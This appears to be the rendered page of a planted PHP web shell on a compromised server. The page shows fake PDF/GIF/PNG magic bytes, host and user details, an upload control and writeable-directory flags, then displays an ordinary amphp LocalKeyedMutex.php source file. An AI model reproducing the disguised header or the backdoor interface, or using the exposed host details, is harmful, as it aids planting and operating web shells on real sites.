%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/amphp/sync/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/amphp/sync/src/LocalKeyedMutex.php
<?php

namespace Amp\Sync;

use Amp\Promise;
use function Amp\call;

final class LocalKeyedMutex implements KeyedMutex
{
    /** @var LocalMutex[] */
    private $mutex = [];

    /** @var int[] */
    private $locks = [];

    public function acquire(string $key): Promise
    {
        if (!isset($this->mutex[$key])) {
            $this->mutex[$key] = new LocalMutex;
            $this->locks[$key] = 0;
        }

        return call(function () use ($key) {
            $this->locks[$key]++;

            /** @var Lock $lock */
            $lock = yield $this->mutex[$key]->acquire();

            return new Lock(0, function () use ($lock, $key) {
                if (--$this->locks[$key] === 0) {
                    unset($this->mutex[$key], $this->locks[$key]);
                }

                $lock->release();
            });
        });
    }
}

VaKeR 2022